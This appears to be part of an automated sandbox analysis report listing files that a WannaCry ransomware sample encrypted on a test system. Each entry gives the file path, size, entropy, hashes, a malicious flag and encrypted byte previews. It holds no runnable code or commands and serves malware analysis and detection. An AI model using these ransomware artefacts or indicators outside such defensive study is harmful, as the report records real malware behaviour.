                                                                                                                                                                              Preview:WANACRY!......e:x!.....x..Xv......0.\..~.y.Ec......4.|.2P.p.........O!.O..<..Ct....-.m.jLuAB3`.U.}...w..a#+Z|.*.......;V.l.2..G`Y.....>v..@...x.ym.n......lPAg;_i'..E..*.&.....3........&g..s.....-.Ou.q..NL..|.._.".#.....{...l;....c.xY..n.2?4G#....q.7...............x:.P....t.gA..w...T...j...OPe...|.o.9.^.r`3....4.(.%WJ-......Y..[....o.#..C..>o..{>..;..~t\.....^&.... i.....P..b...f.2.Z.Z.a....2..D.f...:6...[h.I.I,.....8.<.f..co.Q...\..K....k(......%l.Y;..6..9....d._.`XyA..F...........f..dE..&1.*'.p$.....(....-)@lU!.....C.0^..k.tYA.r.(`a...$n~...$V0+..1..W.\.g."M....5^IG.:d...r...Z...0].]...P..~>...2...1.!...0.\..L...>.......{.....r...P.S.:,.?....c.U..T....v..\...X.......t.dl..ne...Y*..%X.._..-.9..w."...U).-.Jm*..M..2vR.\kSZ-..|B..KA...h...=..@.....'........}..dGT...X~z. .....z..wh...*.. <.....^Xr.\..'...K9n..@....b-..A...hV.?|......l.ly..i#_eV..^.=........= ..p.<.O..L7..).J5.......:.L.\p$...f..(.VK....X..nD.I..B3.?...V@....8..5...5.[.....

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appsglobals.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):352008
                                                                                                                                                                              Entropy (8bit):7.999485527768039
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:nTlR4uqftnldJY3Nzb8OTYmqkJ/b9qgDEM/pGhCElpMKbpO9WsHKOh0Xyd9D:nQrtnbJeNzX/Ii9xPErQ9nHr+wF
                                                                                                                                                                              MD5:757AA464F74C9941801014F05D44DB6F
                                                                                                                                                                              SHA1:314A5E107001085CDED044A997D190A095E3E2E2
                                                                                                                                                                              SHA-256:AD7F6C2D8D1C2BA95D1975E27A01D873CBCE05AE784CE79A8BCB3A8DB1CF6C18
                                                                                                                                                                              SHA-512:1C725875DCA61C11267CABC2C278700DF011ACF7F9BE5D30E26D31EF5A217FACD2BC9963D55ABE17248250DAFBBE0BFD49F81D7FFE763B59536729875CB8128C
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......+L...O...E..8....j/L.\.T.w......./.....x6...b.W.V....L.:..(H..n\.......!H;.]..v... ..S.c*y..x.$...9...}_..K.$..3..^b...c....*.....F.T.."?..jg`<%....Z..p....O....Y.5c.....ExE......v...i...zy...H.V.zE..B..:.B..._&.[;o..{.Q.;=c....m..@.W.._^.`d.....]......1....pG. ........j.n.u=p....5....y.jH.<...f....E..d....P'...)..H.)...-..~?#?.0.....u0a..4...K~./k ..w.//.k|S..D#T.O..TaM...52........D/[...7':]t.......%.yw.i..e5..BH..8.9.....o].....<kp..I.e........Z7....p:..o2..5..;x.(`.[?...=4..5.x..M.......;\.o.,{g..# k..Z.pF.....o.sL.|.7..B.vR_:._...V.t..K.."I.<..Vx._T.z.s.."h.X.3..i....8NO...A.F.v.S....|}*.....l.-e..Z.u<.e...I=....5.x6.X...=..G...e.}u../.._0.d@_2...j....=.i.z....8.}... ...h..&Q....O...k....,.-!.o....Q.......Y.f..l4F...E...Mz.}......\.B..3;.i..~.........LO.7.U.j...vr...INr......2.r-....W ...i/..e=.*...,...4m.............@...V...R..N}..n.7..aL..i Q.O&!.}P0no.Y....?.(..`....?..c..Y:_I...).E.......Vlg.(>....MU.(..^._.......7&eT8...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appssynonyms.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):243784
                                                                                                                                                                              Entropy (8bit):7.999240297445723
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:/EfErudKsYG1iA+Uvs1JVE2QR7ym2zzN2Ty:2jGMa1JV9QR7yHN2Ty
                                                                                                                                                                              MD5:F957A86AFBB5DAF087604CB5B4E4B053
                                                                                                                                                                              SHA1:54159CE9866F6F1544971496FAA3F4BBBB34672B
                                                                                                                                                                              SHA-256:24E7CBAA4AF12579DD5EE0495DE8F56EBC4702B6BCA82E8409D85EACF452FB04
                                                                                                                                                                              SHA-512:88CE4773C9225E61E7888A4C1CD767C016B4F8AC42FD4BC2C25ADD8250988CEBC84866DE87B767BDA6214449DE95BF509ED3F978D8FA5A0A43BCD4E9F91BC601
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......0.m$....D..?....I../=..l^.....P&..j..w..2....^......lD9j.,.....%../.....0. v..1.C.7.l.r"&<.....C..SY,....eY.......l./. o;.'....0..$.o.c.'...`X...RR...H..ae..#1..!........DH...I.:..Rj..7....+.:.I....B..7._J5..7.%c...>*..b.|........&.4....!.......&........ ..P.~.@.."{.7....N.= .tY.T..}.r.cv.8..,Ug.R.%...Y..FH...6.I....#...S..t.Y..hr.C#(.....B......!_.....'.].P.....2Y...... :.D.....l....rX3...bn.... ....P....d..o...e....Z..I.#{.b..wH..=x.>E..S.5.[psdy...(..Q.4.t_.S.~:p....<.>..7,.~J0..[=...C.pP.m....1...Ef.y..c.\.M!......9./.e..H..W.<v.8...H..-.)...M...D....i}.I*..a&~i....m...Y<.;...o..V.1...X-./.,.E..g$....s..,..qC...f.l,....6....d.,..4..a....*......9U.f.........?.c.h....Z.4j.,+G......R....+.Ev..5..\.SC."..m..%..(.......H..w.....j.~+...'..-...nP....m....Vq.8..>..2.f...5..O.N..V..j+.s...>...Ql.?....a..5.*.....].+.=...7.9.Tf.....<.8.cI.>.y.....B.n.RUF..O.?.....S..J>X2(.K.....y.s.u{.........."..="e..nY......XM...Y.o'. .

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingsglobals.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):44792
                                                                                                                                                                              Entropy (8bit):7.996139536623454
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:feA0LmnUqULD2rA2MHKX+R8phBjFIUhzA6ZrnsItaRj7ZtBuyTtvwyyH6:WTmUqUL+9t+R0hBl/sD7ZCWlu6
                                                                                                                                                                              MD5:8058C83ECC830F210FFBDF8E55F0E1EB
                                                                                                                                                                              SHA1:81784B90C7AA7E48F9A4A4EFCE650D76ED1F976A
                                                                                                                                                                              SHA-256:6700DED56DD6BFA4E769D57C1E3B58BE7432F0B96E0872127B4C35D1CD91E937
                                                                                                                                                                              SHA-512:FDA36ADAF3D822C9AA739E87DE5AE828C2FBD8A0E154475310C009DB4780F2DC449BFA765C59D0B66DF2DCB529469049D334D5742B821B7ABBC56C226AF99DB3
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....>;.Z.Oc..P8B5Z.:D......J...yG....Q..?B.T.^.....>l.z.|.B.1.,..pj...+....._..N.6....u....zN...l.......<..._.3......}......-...).I>.]u...I...O.8:....5.<.J9.....j.5.t`.&.k..Gh.Fl.o..UDc%.s.Q..|...5.........4.x.!.z./......`...D..ft1...S.K.%d...........".p4.=|.G|..... =3..DM.m....(<0...[._.x.yL.@1q.............o......D..F.w....._d.E.2..-....KS.8....m0.M...X..%...c0 .......1v.t.. ~-..zk..h..7.YCo...X.i.7..`h1..s)..\k.1/..l".g.V.s.`.G..-.Uv\.....m.z.x.a .dSp...p..C1......K.....?.........c.%..E9.Z.#.N...w..1...F.T..A`.!..x7pTB;..$.,..C..@.d..U...O......#.Ao.nS.w....v<....FN..`...3.KRr.....}...b.xe.<s/..u...).7..6f.'.4...7x....|.!/.=9.......H....[....F._^q.2.Tv7.q..>.R%.]...|......'{*uNd......m.....x..l....f..A...k.. 4.o..PI1..?.....n. ...:....I;.HT@..[..q:p.D^.im..eT..V.,DKz...cX.m;i.K.a...U`.......D...I.x..}.V..|GX..v.H.<.gt.J(U~.y.y..r.e......]F....i..A:.vT..%T.A.tS.}....d.....x.Z.{TF{..:'h...?.\.r..$q..@.-a\z..an...PQ..7...!..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{40385465-94d7-4db6-a4cb-fc8229e20afa}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):37464
                                                                                                                                                                              Entropy (8bit):7.994602040656615
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:0XiMFlhFmi0GmJeRXKttJAMLNU6zypHnOcA1XNmfamIIVIs+d1N:/+vvQkKDJAMLNUg4HnOcgwfTIIKVN
                                                                                                                                                                              MD5:6A78ED421C91F9DDB312A7821A69197A
                                                                                                                                                                              SHA1:7DE697D6C2C13614AC7EE7ACBA45DDEEEACFAB51
                                                                                                                                                                              SHA-256:4D2D36F4F0300FE88E90A783701C3FFFDAD15DE30EA1AF0333184882CED8EB39
                                                                                                                                                                              SHA-512:39ABC92A44AB1DCF4D8CA523EB897C40DA46A9FE73C675830F2AC8E498F8A3238F83570F0709DC05313F7356ABDFC74D7A407D54A4E97747448DCAF0D1946E33
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......<..1i..v.....o.>+..._...QD..O.q..........>.....)..4N....hd.[o.A.G.7%..X.K.#%...L.../.....+..s...2_..j...Q.._...R5.)h...]Rn....y.. .......^k...8...Y.:....MEw........~."+.!.W...t.....j..y....c.P......;j.p.)i......xn..6...W]"'D..cV........Y.XA....4........:YWR;..t..E.....p(h.4F.Un...q.-X.@....q..*.%.\OX.E..1@....S@.E(.?..F.d'3..7...}.].:....w.$5f%]....E.!Tv.<),A.3Q.;..7....c.......Y...A_h.p.tV.}...5......r.J...$..}..6..6^...<.=....G}.).)......5.:..?],..C......y...~U.D..o.....N...*....{...^*...\.(\j......g...w...wx.,.{i...i....tg...`@.W.W..TtK&S5.k...2gX.$.l.CF.~..H(.d.`...wa...N9.4..+..).w......jeh>..J.......Rq/B.qq..;B...(.q...6.JU...D%a:.X.<.@....".np.+.Axv.`v.f.y-.)..A..Z....O....1..La...@'.0....Ah....X00 ..|.G.A......'....x.Jk.Z;...B..%..d_.......i.jN;..N$.b.A#!I.......{v...$..iy..>,...8.....@.+c...Y.l.^.XQ..Nm.S...&?....;..=F...0..B."x.o.3^.....hB...^..+..D.n.hg.t ../{...k_.......l.....M..T......~.d.._$.aq.O.Y]1.:..$..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{40385465-94d7-4db6-a4cb-fc8229e20afa}\0.1.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.206256671455845
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEhm35xO4IU4KZ3CxNGT6rs/2ebLDkI08wQUYxlwJg/WV:bkEk35xO+4U3C9w08wKlwJX
                                                                                                                                                                              MD5:F6F5C9104FFC8C86ABEE8049A1A516F7
                                                                                                                                                                              SHA1:796463CC9F67D475658750C464E95536BC9F54F1
                                                                                                                                                                              SHA-256:82AF84A56BA328EF5A6381310764D99F367AA546801DDF733EE24B2CFCA89F54
                                                                                                                                                                              SHA-512:5A687FEF1C25DDBB12342F38434B6B0E8F9F0AEB8FA36898FDCD0E42F80A703DD5A74C3FCFA30DD5713413C9B98A8F262EB7CDA7DCDA13152714749239218BD3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....6....1\.=.,.5.<.=...$em.....F@..a;&....+....v.O...)4OxW..u.7..d./Sv..$.E...-...UAx....;X....V....>F`.jf....p.X{^..>.}[..D.....9h.........w3n.9..X..2.m.s+.&.....1..ip.(.....#...s...Z...-..5.......I..3u*.>.+.*..z9....7..\.sR.)...A..44.*d^.|p>....K..................S...-.d...h

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{40385465-94d7-4db6-a4cb-fc8229e20afa}\0.2.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.171428122641267
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEV//j4vxkpiNe2mZcGjoPP2pk/5+OlU63ButvZQjtR46sb7:bkEVnj4vxQiNYWCo0k/MsFovZUtpsv
                                                                                                                                                                              MD5:A4182F8510204C8267DB4AEBEFF2441F
                                                                                                                                                                              SHA1:F602B69E6E884D64C38662FAD47A20DA8B1E388B
                                                                                                                                                                              SHA-256:8DE87FA8A4B21CD3120EC55596DA6AB908086BB4E209A38321D6F86A511B460E
                                                                                                                                                                              SHA-512:5D3168FF5FA0BD252215F5D927442131AFBCA170F657D81F62CB8683ADA5491EE171A068AFD69FD37D7EB00A0EBA1164ADA28F5398919F4A17257A96065DAC7E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......1.f.D....._.".........:./St.........cw....#..t...."...'8vJ.s..w.v.`..J..4..E|Q..p.2j....q1..c$.LR.%.....j.4.$RC...E.....0.(v...K..'ds....58.m.V..[>....1N....k4L.....'S.D..v.N.5.A.....V:w_.Y.R.Q...$F..w.w5;......W]e....X....n..7.!.nGA{dg.K4.^..............h..)cBK.hl..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4b6fb67e-d996-419d-8681-98d6e0bd0771}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):37464
                                                                                                                                                                              Entropy (8bit):7.995990130123616
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:tfcqWL+oEloKhtvZDGhpZZfY/9mngZkBq/NPx9FL82Kv+1:VcqplloKhtvZ+C/9smkBmx9F42w+1
                                                                                                                                                                              MD5:85DB9315E95B49A94F7319336AA4A1A1
                                                                                                                                                                              SHA1:50A8B942BCB647D18EABBE85A1E1172AF34B15E1
                                                                                                                                                                              SHA-256:37FFC4A69F4D4CD32D5B2DEF59B281D152692EA36BA02A49B05AA0EA6F889B56
                                                                                                                                                                              SHA-512:9F82796206B78C8887822E46F5EBF5BD528D8F9069B86A2FEAA5B72B40107DB2B45106A4D5BCEE99397EA100F4BC05ADD8CCDD18CE7F6112A8E73B920622033C
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....iY&..N..........(..(Q....om.>vp~2-).`...N...H/Y.&........w$...2.....~..5.._.=...@Z...=Q@...w.&}.T.@9.G.GN`.zX.w.m.r..7b..Yy.}.|"[EG..o.4.[...'b..xg...".....M#......,7..Fa.W....=E4....3......(.{lGQ>W...b...$ap....W?R.......6.......??.e..<..a/^+....4.......$..^\wv.%..=)...z..G.D..$.M...xZ..(.o..DYf...o.....dV%.....E^Rt..x.N.p.W.V.....j..^.HA..ps./.....kX}o...%.xC.m(...4Z&.v<{.# ..,...b....qYV[.-NG..u.l.........eE$0@pQ.~{9.-....Z..A...!).]...P..;..j.:+...2.[.os.N....&t..-....O.$.<.d.|....3+.:.L--].....s...O.t.Oy`a.L]...A...]...p.K\.._..-..%.....}=.....w...0.b...w.X;...!G.<...M..LlL]..K$.&k.....N..U.d..2...<..T.hL.+.T...\...U.....b`........ZS....I.F.n.h...(I....R.....q...e......J....R.qv...:.|D.....j:.`|.y.5v.j....N ..........T.....|..3..N3..5i .W........=.7....$.!..G.......<..BdZ.q.S....g..8...:.....w.4.?..R.."t.......n.>...:...2./l.o.]OK......=.T........~.....B..>~.....fu..Px9.pLa...C..X_k.Z.O.tD.|.r.....W$.8..=.<>..C.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4b6fb67e-d996-419d-8681-98d6e0bd0771}\0.1.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.15562727666844
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkE/mVXBpACzv++9oJYwcw4H7UcKN6LKHi2Av+zbz0gJMSt3:bkE/mVRpA6v++9kYw5/6Zv+YgyG
                                                                                                                                                                              MD5:A6612CF27006A57D1ECC0E171DFA61E7
                                                                                                                                                                              SHA1:9D172A918960789BCC574F63941487621DF6E6D6
                                                                                                                                                                              SHA-256:39C67F0C3EE2977EB0557CDDEAC4C55DC8ECEC00353E2D92AF5D1ED0C8BA1D11
                                                                                                                                                                              SHA-512:5C741E2857B5F43B983622257D7F0115CF95C36E8F8B7B23AE6AFA28C74F07B39319718D2CA004DCBCD95C9526E3B1AC46FFC915318AB270FC4E338E38927FCE
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....$.N...R..D<|...{....|.0.)d.3I\......\...]Xe._3e.L!.....Xo.Gp,.|..0y".t......1......0g%.g...XV..(.....%.Z.y\o..6XI4....jX..yFdm.ZY..iy...v.{....x9...).U..p...j.4S..D.A........<......1y.y.)0._.>r&/<.....+.h.Hc.eJV7.c.h,....(^.a iF..|.?\.hT.M.U..*............e....S0.Y....j.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4b6fb67e-d996-419d-8681-98d6e0bd0771}\0.2.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.237490159624208
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEDYBOzoZdANoou04qTFyCwctRVFAtWNhi5uvljvPCj4hJ+vgc5n8Y:bkEyZOf7Ndl7hi5ulP+1x
                                                                                                                                                                              MD5:C74A05537936ACD33BE46B0F80CECACB
                                                                                                                                                                              SHA1:A435127756702506737C1474298C6C700BA8D20B
                                                                                                                                                                              SHA-256:8ABD879C4BB8B2C81A1A8570A3B573C4A16261A8112865878F96EAB6FF6CC612
                                                                                                                                                                              SHA-512:CEF8E103BE88412A8ABF3733B2BDD338D88B7807F77D36D41236FA2127B8A563D487DA586CF223E929F52DCDFB20E3D20E613C4921790EE93895A41457930938
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....w...V...l....?0..x..w_....X.......M[....-6....W.`.YYvlSSC.,..."..F.7.E../...J..d..[.=...$4....V.;.CJ]..}.IF... ]K.................)...l.!....9h...d.b.....2.e.~.I`1.u......_..G.3.j.~.C..u..8..Bk...^5.\G..2.#..L.p+..M|.69..U.UD+.cz...d...ViK.N.x.....................\.\G: ..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{cf92e777-46b8-4fc9-af99-a04f95a19936}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):37464
                                                                                                                                                                              Entropy (8bit):7.994796258091946
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:GydXCDhSewnPCioFbzjo5gbboLMze+iVi+HnsNfokWum9VXm4xYWdcQw:XCBwPCDFbzgYbze+iEoksfaQw
                                                                                                                                                                              MD5:85B90752FCE78DBC5CD4FA923EC010A5
                                                                                                                                                                              SHA1:C12F6BFF325CE635FDB04F783B7FFD539D620160
                                                                                                                                                                              SHA-256:F665F94B704126E9961639C4E59976C61489A4AF070D9D8AD50479C260E341D6
                                                                                                                                                                              SHA-512:CFF1B754679FDC3DCBAD6F185370DB85151B61865FF913BBB184B0F40D2ED8C087CA4400101D210B8749294B2D121C01775DCE6F06B4DB5EEA0B13889593BD47
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......../..F..x...)...@e.^..f.....?.p../..<K..f.K....=.M.`85r.wK.'@.O......A.11.1.mv.t?a.y...V.].y.n.{..K.....#....-....9|........?...V\Q.5.2.{.j.t.z..-?w......... .n0....".i.^.'......5.Exx........#....F3rf........c.n....O~i.......*.W...t;.[.,..Q./`........4..........y..>.. .$..D>...R....j._08.....R...6 ...9.~..o..x4.5.0\....=.r....?.w.'#y...m..E'..........Bk.L..\ ...,....yQG.6.x...;..Cn.t(...q .<[&..y.R....E.2..u.!...#.a..-...=.:b...P.........bv.3d.^5#.h....O.......~w..q...V(.y...[..L...;;.._v....b.......o$<.......'....+EBW.......9.`f..(="<.<D.....).F.4..Y..[.....\.Z.....l.z.4g...n..C.O..*4......?.F...j).?.>..`e.E=.w.LH.g....Bx..= .RV.~..g._[m...4...pu.{2yU.g,.......T.X....S}I.>Q......?....%.e..V.....*..i...../...B.G.1..Z>.....Ew..%k...n[.$.{.x...)./..K..y...}...mB.........[...tp...........%.. ..5..J&&O...Di....0.$D..xd....6...m.....-..R...<\].i..:..3.=...._@.&..\f;y}.q...#./.*qz|.s..6`.W.S;Z.......{...[....{..D.4(.T..5..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{cf92e777-46b8-4fc9-af99-a04f95a19936}\0.1.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.1393877731299025
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkE9uie/YLwjp7uFJ5nKK9fgZPi/QFNR0XpEwqCFOjf7Q:bkE9uiMd96F7flg0ONOpEPCFejQ
                                                                                                                                                                              MD5:BF0D8CD9CE177290A9D48038B8EC45F0
                                                                                                                                                                              SHA1:41A812B7AEF518164B51B93CB59496AE527F5EEF
                                                                                                                                                                              SHA-256:D29C00174B8172012D7A3DC9ADB365272D395839758D8E71059D768FAC0D18D2
                                                                                                                                                                              SHA-512:92FA7484D93574499AFFD7C6CBF09F6D0D7E94D20D94712EDC2298C17AE026144DD02214474E11F53CC87ECA445B1447610F60D113B6AC8854E556B92C740FF7
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....v...dg...+.....D.wG}.X-.q..jv._..G... .+....P.3...u.K......uh.J..0..n@.....m.....|. 8....;[..........*..d...=....x...G"....?...6...}n.k...-.P..H`o3..v...,.S.....:...&..G........VO..hC...^.t.Xo'.....2t..... .M./..F.2.$W...E.N=9g"......F...............'G...-.M.Bta.."

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{cf92e777-46b8-4fc9-af99-a04f95a19936}\0.2.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.184047506065286
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEhqpzdAHiPfkwgS1kxYWCVEZeSiTwGBwJ6IVBE10l/Fhz7:bkEhiz+o940VEZeSiTvV8Nd
                                                                                                                                                                              MD5:022AC0D5B98F77450BE809E930D5B13B
                                                                                                                                                                              SHA1:184508990E18D41BEF68A9EF7D0E5FFE8BAD9BC3
                                                                                                                                                                              SHA-256:42B6A8ED23E4638593A01D2C82CEEB5BFCBA850B963C57CA71A50898878D3927
                                                                                                                                                                              SHA-512:D0D07BB4EBB27593A5647AAFADB34B525CCD80B461F182EDD7AB029B5D6649417B8AF95E8F39EADC940EE9D211C6C32064FAF2FBB46163D165FE5626C809D291
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......g...n.j....1..X.g.\sm.....bN.P...H;*....@.+k|L0.....27..6.o........Y..k_..9..../.^..L.$..}*4Uv.......[<..!......];.l..Nh..V..Q.t.V..\..>..g....aHZ/..w........n.2.a..;..)9gR.P...B$.]?*...U..n...w...9'..H...Z..a.z...yd.]T...Si"m.3...7...`R..............+..6"[...K.Vl.C

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingsconversions.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):533032
                                                                                                                                                                              Entropy (8bit):7.999635561321837
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:V7fcDXzcPoxe31HNGeDFvl1+JIL8EfbvBEzk0pI8wQPSJX:hqcU6HxvX+qL8EDZ1Qa
                                                                                                                                                                              MD5:D89FE908210877A952E0F298F4538602
                                                                                                                                                                              SHA1:1A95A7B3C8937240217DAEEEEB9F602C78381EFE
                                                                                                                                                                              SHA-256:F8239F3D30633A506AB681EC0628ACAF0BC3B2781D90D523C704B3BF6325C063
                                                                                                                                                                              SHA-512:FF13B91F02506985016233993CD703FA5B9C3EB500E423731BC0D4CFF65DC66B23A95DB1EC3EAE137E0D801BF788913B763FC7291276CBE6839AB3ABCCCCF755
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
